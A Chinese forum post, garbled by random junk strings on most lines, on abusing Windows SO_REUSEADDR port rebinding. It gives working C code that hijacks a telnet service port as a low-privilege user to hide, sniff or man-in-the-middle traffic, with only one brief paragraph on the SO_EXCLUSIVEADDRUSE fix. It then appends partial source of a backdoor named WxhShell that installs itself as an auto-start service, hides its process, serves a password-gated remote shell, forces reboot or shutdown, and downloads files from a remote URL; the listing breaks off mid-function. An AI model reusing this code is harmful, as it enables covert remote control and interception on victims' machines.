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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &tZG @  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `xc^_781\  
7]BW[~77  
  saddr.sin_family = AF_INET; `-\/$M9s=  
R'dSbn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'r@:Cz3e*I  
qU,c~C=Qf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _6k*'aT~FK  
2~*Ez!.3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X<MO7I  
#k$)i[aI-  
  这意味着什么?意味着可以进行如下的攻击: X/; p-KX  
6AP~]e 8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N,J9Wu ZJ\  
* FeQ*`r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -@F fU2  
(Si=m;g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p:OPw D+  
2qHf'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jV/CQM5a+  
>;#=gM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \NG C$p n  
Jj= ;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WA$>pG5s  
]u-02g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z**hD2R!  
pCu!l#J  
  #include  8*c3|  
  #include 6ATtW+sN]  
  #include @<@SMK)  
  #include    #-Z8Z i"44  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kJAn4I.l  
  int main() ycJg%]F*5  
  { G\;}w  
  WORD wVersionRequested; '&FjW-`" G  
  DWORD ret; 7Mx6  
  WSADATA wsaData; +"ueq  
  BOOL val; ,zQOZ'^  
  SOCKADDR_IN saddr; M('d-Q{B7L  
  SOCKADDR_IN scaddr; y#<MV H  
  int err; H2r8,|XL  
  SOCKET s; zD)pF1,7:8  
  SOCKET sc; DOQc"+  
  int caddsize; 2`a q**}  
  HANDLE mt; $ C0TD7=  
  DWORD tid;   =1oNZKBP  
  wVersionRequested = MAKEWORD( 2, 2 ); `T2<<<  
  err = WSAStartup( wVersionRequested, &wsaData ); -.<k~71  
  if ( err != 0 ) { f&x0@Q/eON  
  printf("error!WSAStartup failed!\n"); W0zbxJKjd  
  return -1; t0#[#I1+  
  } 8seBT ;S  
  saddr.sin_family = AF_INET; WV"jH9"[  
   6] z}#"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }#v{`Sn%^C  
,&YTj>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gr-x |wK  
  saddr.sin_port = htons(23);  y\F=ui  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =6=_/q2  
  { zTD@  
  printf("error!socket failed!\n"); <8 #ObdY!  
  return -1; xAwf49N~  
  } [`Cq\mI-W  
  val = TRUE; 6e25V4e?I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eV6o3u:9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [WB{T3j  
  { 33~qgK1>  
  printf("error!setsockopt failed!\n"); S)A'Y]2X  
  return -1; (vJ2z =z  
  } R[1BfZ6s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >?YNW   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O4No0xeWo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [ B0K  
BwJuYH7QJ$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) np WEop>  
  { A%vsno!  
  ret=GetLastError(); AaN"7.Z/  
  printf("error!bind failed!\n"); g6sjc,`  
  return -1; PK&2h,Cu+  
  } 0ZC,BS`D^  
  listen(s,2); i_F$&?)  
  while(1) 1Xyp/X2rI  
  { }t>q9bZ9z  
  caddsize = sizeof(scaddr); y1BgK>R  
  //接受连接请求 |*,jU;NI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nSY-?&l6P  
  if(sc!=INVALID_SOCKET) ~ E=\t9r  
  { -U>7 H`5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (tl}q3U  
  if(mt==NULL) rwpgBl  
  { .h;Se  
  printf("Thread Creat Failed!\n"); >&H~nGP.  
  break; !U BVPR*  
  } 5]7&IDA]]9  
  } 1]\TI7/ n  
  CloseHandle(mt); b0a}ME&1  
  } MFg'YA2/  
  closesocket(s); C%ytkzG_  
  WSACleanup(); V+w u  
  return 0; hkW{88  
  }   PM4>ThQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^p_u.P  
  { HP a|uDVv  
  SOCKET ss = (SOCKET)lpParam; 9DEh*%q  
  SOCKET sc; .yVnw^gu  
  unsigned char buf[4096]; 2W3W/> 2 h  
  SOCKADDR_IN saddr; ?An,-N-ezf  
  long num; [U_[</L7  
  DWORD val; 0k?Sq#7q  
  DWORD ret; k_3j '  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qa}>i&uO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   CtT~0Y|  
  saddr.sin_family = AF_INET; ;o$;Z4:.D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MB* u-N0v  
  saddr.sin_port = htons(23); KtTza5aF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HR3_@^<7  
  { bZ# X 9fT  
  printf("error!socket failed!\n"); 'Kis hXOn]  
  return -1; aed+C:N  
  } JJl7JwSTW  
  val = 100; 2q %K)h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :HW>9nD.  
  { WF/l7u#4i  
  ret = GetLastError(); i<u9:W  
  return -1; y3yvZD  
  } 7<yp"5><)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { (\(m/!Z  
  { PZ34*q  
  ret = GetLastError(); +AK:(r  
  return -1; /84bv=  
  } fr#Qz{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yL"i  
  { WOO%YU =  
  printf("error!socket connect failed!\n"); +8UdvMN  
  closesocket(sc); KzkgWMM  
  closesocket(ss); g2'x#%ET  
  return -1; e~Hr(O+;e6  
  } GOW"o"S  
  while(1) p`GWhI?  
  { ek[kq[U9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :l~EE!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~|R[O^9B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5.k}{{+  
  num = recv(ss,buf,4096,0); >38 Lt\  
  if(num>0) G&o64W;-s  
  send(sc,buf,num,0); z{6 YC~  
  else if(num==0) 2cjEex:&  
  break; Dq`~XS*  
  num = recv(sc,buf,4096,0); <bdyAUeFw  
  if(num>0)  9d"5wx  
  send(ss,buf,num,0); l^,qO3ES  
  else if(num==0) ZT9IMihV  
  break; Qcgu`]7}  
  } ]xR4->eix  
  closesocket(ss); H'h#wV`(  
  closesocket(sc); Q>IH``1*e  
  return 0 ; ih!~G5Xi9i  
  } 1#D<ZN  
01nsdZ-  
-]QguZE  
========================================================== MW]8;`|jC  
Xb+3Xn0}&8  
下边附上一个代码,,WXhSHELL ja75c~RUw  
8&T,LNZoY  
========================================================== 6To:T[ z#  
-gSj>b7T  
#include "stdafx.h" [tm[,VfA^  
"=ElCaP}  
#include <stdio.h> sJ7sjrEp 1  
#include <string.h> </yo9.  
#include <windows.h> RH=$h! 5  
#include <winsock2.h> O3+)qb!X  
#include <winsvc.h> L *{QjH  
#include <urlmon.h> b8cVnP  
i7f%^7!  
#pragma comment (lib, "Ws2_32.lib") ~BQV]BJ7  
#pragma comment (lib, "urlmon.lib") Bhx<g&|j  
_vIO !*h0  
#define MAX_USER   100 // 最大客户端连接数 fkBLrw  
#define BUF_SOCK   200 // sock buffer k<,u0  
#define KEY_BUFF   255 // 输入 buffer &GU@8  
/p}{#DLB  
#define REBOOT     0   // 重启 L"^.0*X/d  
#define SHUTDOWN   1   // 关机 ~T&% VvI  
~B*~'I9b*  
#define DEF_PORT   5000 // 监听端口 *N'hA5.z  
.ujj:>  
#define REG_LEN     16   // 注册表键长度 'g]=.K+@}  
#define SVC_LEN     80   // NT服务名长度 mo*'"/  
`+^sW#ki  
// 从dll定义API {WKOJG+.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I <xy?{s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -s89)lUkS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CfY7<o1>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ym:{Mm=ud  
 s<d!+<  
// wxhshell配置信息 KJ pj  
struct WSCFG { N GSS:  
  int ws_port;         // 监听端口 Pn J*Zea  
  char ws_passstr[REG_LEN]; // 口令 mb~./.5F  
  int ws_autoins;       // 安装标记, 1=yes 0=no enPLaiJ'|q  
  char ws_regname[REG_LEN]; // 注册表键名 ,,}sK  
  char ws_svcname[REG_LEN]; // 服务名 mw Z'=H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1w bTqc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ($:y\,5(9I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J& )#G@fRX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  Db,= 2e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XW^8A 77H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wk,6) jS=}  
i[8NO$tN1)  
}; $kIo4$.Y$  
&8waih(|  
// default Wxhshell configuration $mD>r x  
struct WSCFG wscfg={DEF_PORT, ret0z|  
    "xuhuanlingzhe", 9,w}Xe=C  
    1, H):-! ?:  
    "Wxhshell", QS5H >5M)  
    "Wxhshell", 1GUqT 9)  
            "WxhShell Service", mw ?{LT  
    "Wrsky Windows CmdShell Service", D-~G|8g  
    "Please Input Your Password: ", 2H3(HZv  
  1, K Ka c6Zj  
  "http://www.wrsky.com/wxhshell.exe", Gxo# !  
  "Wxhshell.exe" n+X1AOE[L  
    }; fMyE&#}z  
|@+8]dy:l  
// 消息定义模块 [qW<D/@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }}s8D>;G~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {f&NStiB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0Ux<16#  
char *msg_ws_ext="\n\rExit."; 4uX,uEa  
char *msg_ws_end="\n\rQuit."; {vLTeIxf.G  
char *msg_ws_boot="\n\rReboot..."; rv`2*B  
char *msg_ws_poff="\n\rShutdown..."; (lieiye^  
char *msg_ws_down="\n\rSave to "; mZ~mf->%  
6hLNJ  
char *msg_ws_err="\n\rErr!"; )>?! xx_`  
char *msg_ws_ok="\n\rOK!"; -`Da`ml  
d b<q-u  
char ExeFile[MAX_PATH]; (eki X*y  
int nUser = 0; _IC,9bbg  
HANDLE handles[MAX_USER]; 'xQna+%h  
int OsIsNt; K/Sq2:  
sE-x"c  
SERVICE_STATUS       serviceStatus; Is<x31R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v3?kFd7%H~  
hTDV!B-_(  
// 函数声明 m**0rpA  
int Install(void); gH5CB%)  
int Uninstall(void); @l)\?IEF@f  
int DownloadFile(char *sURL, SOCKET wsh); NP$e-" 1  
int Boot(int flag); *&(2`#C;  
void HideProc(void); @X K>  
int GetOsVer(void); +g)_4fV0|  
int Wxhshell(SOCKET wsl); N&?T0Ge;  
void TalkWithClient(void *cs); lt{lHat1  
int CmdShell(SOCKET sock); `i=JjgG@  
int StartFromService(void); h-Tsi:%b  
int StartWxhshell(LPSTR lpCmdLine); =d}gv6v2S  
*Yj~]E0`1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *1\z^4=a]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1V-=$Q3 V7  
z~BD(FDI  
// 数据结构和表定义 k& WS$R?u  
SERVICE_TABLE_ENTRY DispatchTable[] = ]cn/(U`  
{ Fq vQk  
{wscfg.ws_svcname, NTServiceMain}, ||yXp2  
{NULL, NULL} R:]/{b4Uq  
}; *Kp}B}}J  
KbXbT  
// 自我安装 -,FK{[h]ka  
int Install(void) 6#-6Bh)>4  
{ u)tHOV>&  
  char svExeFile[MAX_PATH]; N[0 xqQ  
  HKEY key; a3Z :C!|O'  
  strcpy(svExeFile,ExeFile); TNyK@~#m  
f#'8"ff*1  
// 如果是win9x系统,修改注册表设为自启动 AGl|>f)  
if(!OsIsNt) { zhuy ePn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i/5y^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g@<sU0B  
  RegCloseKey(key); wEBtre7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }A^ 1q5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7fap*  
  RegCloseKey(key); j|&{e91,?  
  return 0; u+I3IdU3  
    } wy,Jw3  
  } wCV>F-  
} 5dg-d\ 6S  
else { UN-T ^  
BjH~Ml2  
// 如果是NT以上系统,安装为系统服务 =Dh$yC-Zr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M4zX*&w.T  
if (schSCManager!=0) 44'=;/  
{ Ko1AaX(I'+  
  SC_HANDLE schService = CreateService Oyi;bb<#  
  ( 0q:(-z\S4  
  schSCManager, t9?R/:B%  
  wscfg.ws_svcname, nu#aa#ex>  
  wscfg.ws_svcdisp, <P+G7!KZ&  
  SERVICE_ALL_ACCESS, {z.[tvE8h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f@wsS m  
  SERVICE_AUTO_START, =@Q#dDnFu%  
  SERVICE_ERROR_NORMAL, ,AdusM  
  svExeFile, }%-UL{3%  
  NULL, ]cx"  
  NULL, vh<]aiY  
  NULL, //#xK D  
  NULL, fKPiRlLS  
  NULL I(z>)S'7r  
  ); 9=Y,["br$_  
  if (schService!=0) A Oby*c  
  { (iHf9*i CV  
  CloseServiceHandle(schService); B@ZqJw9J[  
  CloseServiceHandle(schSCManager); @o}1n?w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `V]egdO  
  strcat(svExeFile,wscfg.ws_svcname); u&1j>`~qJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bHhC56[M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,"P5D&,_  
  RegCloseKey(key); .'l.7t  
  return 0; %MfGVx}nG  
    } 1bV2  
  } &eThH,w$2  
  CloseServiceHandle(schSCManager); w^ixMn~nLF  
} fl} rz  
} E9yFREvQc  
 6'RZ  
return 1; Z-N-9E  
} *\=2KIF'  
yf `.%  
// 自我卸载 3S[w'  
int Uninstall(void) Fv?R\`52u  
{ T^/Gj|N*  
  HKEY key; z1Bj_u{  
z5x ,fQw6O  
if(!OsIsNt) { LVPt*S=/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S/@dkHI'  
  RegDeleteValue(key,wscfg.ws_regname); B'G*y2UnG  
  RegCloseKey(key); 1VhoJGH;C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L eG7x7n  
  RegDeleteValue(key,wscfg.ws_regname); r[.zLXgK  
  RegCloseKey(key); N oX_?  
  return 0; m&Y; /kr  
  } 8CHb~m@^$  
} B(4:_ j\2  
} Z]mM  
else { /E`l:&89)  
3e!3.$4M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nw9-pQ  
if (schSCManager!=0) |@o]X?^  
{ 6Nfof  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JLy)}8I  
  if (schService!=0) w5dI k]T  
  { d8Q_6(Ar|  
  if(DeleteService(schService)!=0) { c8k6(#\  
  CloseServiceHandle(schService); &+E'1h10  
  CloseServiceHandle(schSCManager); K#9(|2 J%  
  return 0; AmT| %j&3  
  } Hj5WJ{p.  
  CloseServiceHandle(schService); 4 |:Q1  
  } Vu|Br  
  CloseServiceHandle(schSCManager); -V;0_Nx7p  
} )8 "EI-/.  
} 68&6J's;  
Pe+ 8~0o=R  
return 1; !1a|5 xrn  
} b'Fx),  
(ybtXoQs  
// 从指定url下载文件 br34Eh  
int DownloadFile(char *sURL, SOCKET wsh) 2FZ 0c/[&  
{ Sy+]SeF&  
  HRESULT hr; Uy$U8b-ov  
char seps[]= "/"; Y{Y;EY4  
char *token; ps!5HZ2:  
char *file; U:mq7Rd8  
char myURL[MAX_PATH]; PBxK>a  
char myFILE[MAX_PATH]; Q.pEUDq/  
b*'=W"%\  
strcpy(myURL,sURL); !LHzY(  
  token=strtok(myURL,seps); 0@sr NuW  
  while(token!=NULL) V7B=+(xK  
  { fG8}=xH_&  
    file=token; #.\,y>`  
  token=strtok(NULL,seps); WTV3p,;6a  
  } c-s`>m  
4! Oa4  
GetCurrentDirectory(MAX_PATH,myFILE); 1c<CEq:?e%  
strcat(myFILE, "\\"); 66^1&D"  
strcat(myFILE, file); in=k:j,U0  
  send(wsh,myFILE,strlen(myFILE),0); Ac5o K  
send(wsh,"...",3,0); O?j98H Sya  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CfkNy[}=  
  if(hr==S_OK) eB<V%,%N#  
return 0; !OuTXa,I H  
else s% L" c  
return 1; RAg|V:/M  
n3l"L|W^(<  
} ~`G;=ITo  
I |<+'G  
// 系统电源模块 9z| >roNe  
int Boot(int flag) L6[rvM|9_  
{ L5zG0mC8  
  HANDLE hToken; DK@w^ZW6JA  
  TOKEN_PRIVILEGES tkp; e~t}z_>F  
:"<B@Z  
  if(OsIsNt) { 6PzN>+t^y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gq/ePSa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,IT)zCpaBP  
    tkp.PrivilegeCount = 1; }> !"SU:d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U<g UX07  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -KIVnV=&m  
if(flag==REBOOT) { }GoOE=rhY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U2[3S\@  
  return 0; (jo(bbpj  
} 86^ZYh  
else { ]df9'\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j?f,~Y<k  
  return 0; g6@NPQ  
} ^O$[Y9~*  
  } +]S;U&vQ  
  else { H4y1Hpa,  
if(flag==REBOOT) { HjUw[Yz+6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I*vj26qvg  
  return 0; _} X`t8Lh  
} vHI"C %  
else { w371.84  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *xv/b=  
  return 0; XC$+ `?  
} Y&05 *b"  
} ](9{}DHV  
G7/?hky 0.  
return 1; XftJ=  *  
} i"sYf9,  
N}l]Ilm$34  
// win9x进程隐藏模块 3Q*RR"3  
void HideProc(void) uZ0 $s$  
{ S\v&{  
St3(1mApl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W kDn  
  if ( hKernel != NULL ) tRUsZl  
  { 6t7;}t]t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >+; b>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4M0v1`k  
    FreeLibrary(hKernel); (!>g8=`"  
  } Pv2nV!X6  
>Rki[SNb-b  
return; ,$6MM6W;-F  
} JIY ^N9_  
hyvV%z Z  
// 获取操作系统版本 ,I2re G  
int GetOsVer(void) jC/JiI  
{ (;2J(GZ:$U  
  OSVERSIONINFO winfo; {ck  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :LIKp;  
  GetVersionEx(&winfo); l6`d48U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2;?wN`}5g=  
  return 1; 3ciVjH>i  
  else "mP*}VF  
  return 0; p=`x  
} hml\^I8Q>F  
i3kI2\bd/  
// 客户端句柄模块 ~gi( 1<#  
int Wxhshell(SOCKET wsl) L$TKO,T  
{ p\]LEP\z,  
  SOCKET wsh; h4B#T'b  
  struct sockaddr_in client; TNFm7}=  
  DWORD myID; L$u&~"z-  
{ Sliy'  
  while(nUser<MAX_USER) aD/,c1  
{ l LD)i J1  
  int nSize=sizeof(client); ANpY qV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zs$RKJ7  
  if(wsh==INVALID_SOCKET) return 1; ^$Eiz.  
=iK6/ y`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GaK_9Eg-2  
if(handles[nUser]==0) E]eqvTNH  
  closesocket(wsh); %*Z2Gef?H  
else 0Li'a{n2  
  nUser++; ;DgX"Uzm  
  } 9CU6o:'fW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )V$!  
}rMpp[  
  return 0; dI0>m:RBz  
} hA,rSq  
XF f+efh  
// 关闭 socket  0[!gk]p  
void CloseIt(SOCKET wsh) lRATrp#T  
{ ^SSOh#  
closesocket(wsh); HH~  du  
nUser--; @#--dOWYR  
ExitThread(0); agxSb^ 8tF  
} hzPB~obC  
jQ\ MB  
// 客户端请求句柄 zS"zb  
void TalkWithClient(void *cs) b{|/J<Fe  
{ Lc:SqF  
p:Ld)U*  
  SOCKET wsh=(SOCKET)cs; =|5bhwU]  
  char pwd[SVC_LEN]; q(ET)xCeD  
  char cmd[KEY_BUFF]; pffw5Tc  
char chr[1]; Z Lio8  
int i,j; MoR-8vnJ  
b}U&bFl  
  while (nUser < MAX_USER) { 9Or4`JOO  
) Q  
if(wscfg.ws_passstr) { m2< *  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); soVZz3F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); teS0F  
  //ZeroMemory(pwd,KEY_BUFF); h,6S$,UI  
      i=0; R EH&kcn  
  while(i<SVC_LEN) { y[@j0xlO  
BM$tywC  
  // 设置超时 F']%q 0  
  fd_set FdRead; U;Y}2  
  struct timeval TimeOut; aj'8;E+  
  FD_ZERO(&FdRead); rIWN!@.J  
  FD_SET(wsh,&FdRead); h`;F<PFW  
  TimeOut.tv_sec=8; yJ`1},^  
  TimeOut.tv_usec=0; j!_^5d#d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =|V]8 tN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f!8m  
N9h@1'>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |&RX>UW$W  
  pwd=chr[0]; G8DIig<  
  if(chr[0]==0xd || chr[0]==0xa) { s1vYZ  
  pwd=0; NG W{Z~l  
  break; "JLhOTPaHf  
  } |VR5Q(d  
  i++; E?h2e~ ,]  
    } GGQ(|?w  
=^AZx)Kwd  
  // 如果是非法用户,关闭 socket +?txGHQq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GKx,6E#JM  
} @P5@ &G  
VJtTbt;>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <9.7gwzE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D& 6Qk&>  
I 3,e)Z  
while(1) { DoB3_=yJ+  
@C [|'[xQ  
  ZeroMemory(cmd,KEY_BUFF); ,~?A. 5  
iK:qPrk-  
      // 自动支持客户端 telnet标准   -L50kk>h  
  j=0; P<JkRX  
  while(j<KEY_BUFF) { e}yu<~v_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hRZS6" #  
  cmd[j]=chr[0]; j{-7Pf8A  
  if(chr[0]==0xa || chr[0]==0xd) { ;OCI.S8  
  cmd[j]=0; Odjd`DD1  
  break; M"l rwun^  
  } oUKbzr/C  
  j++; 0?;Hmq3  
    } [T#a1!  
4e\`zy  
  // 下载文件 Fl3r!a!P,  
  if(strstr(cmd,"http://")) { d47:2Zj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '2J6%Gg  
  if(DownloadFile(cmd,wsh)) QV7c9)<]'}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@`E.4  
  else _@;3$eB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '{k Nbx51  
  } YeVc,B'  
  else { ~ 2oP,  
: It W|  
    switch(cmd[0]) { 3[i !2iL.  
  G$`4.,g  
  // 帮助 uW'4 Kt  
  case '?': { QuRg(K%:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~dr1Qi#j?  
    break; GfPz^F=ie.  
  } N4DDH^h  
  // 安装 lR2;g:&H  
  case 'i': { L[r0UXYLV  
    if(Install()) 7b%Cl   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K2 K6  
    else 4_0/]:~5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vg~ kpgB  
    break; }w^ T9OC  
    } ZBq*<VtV  
  // 卸载 )j|y.[  
  case 'r': { J9c3d~YW  
    if(Uninstall()) LtWU"42  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$2zr4  
    else ^o\p|f>f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9v,8OK)  
    break; m`q> _*  
    } \.|A,G=  
  // 显示 wxhshell 所在路径  CF92AY  
  case 'p': { ^&/&I9z  
    char svExeFile[MAX_PATH]; 9<c4y4#y  
    strcpy(svExeFile,"\n\r"); `v2l1CQ: ^  
      strcat(svExeFile,ExeFile); Ngc+<  
        send(wsh,svExeFile,strlen(svExeFile),0); w$:)wyR-  
    break; =usDI<3r  
    } R eu J=|F  
  // 重启 |&'] ms5J  
  case 'b': { )t|Q7$ v1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '#::ba[9w  
    if(Boot(REBOOT)) 5GL+j%7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xxcDd_z  
    else { }V,M0b>  
    closesocket(wsh); HMd)64(  
    ExitThread(0); "Am0.c/  
    } cB=u;$k@*  
    break; 3CPOZZ  
    } Ic!83-  
  // 关机 2]*~1d  
  case 'd': { rh&Eu qE%  
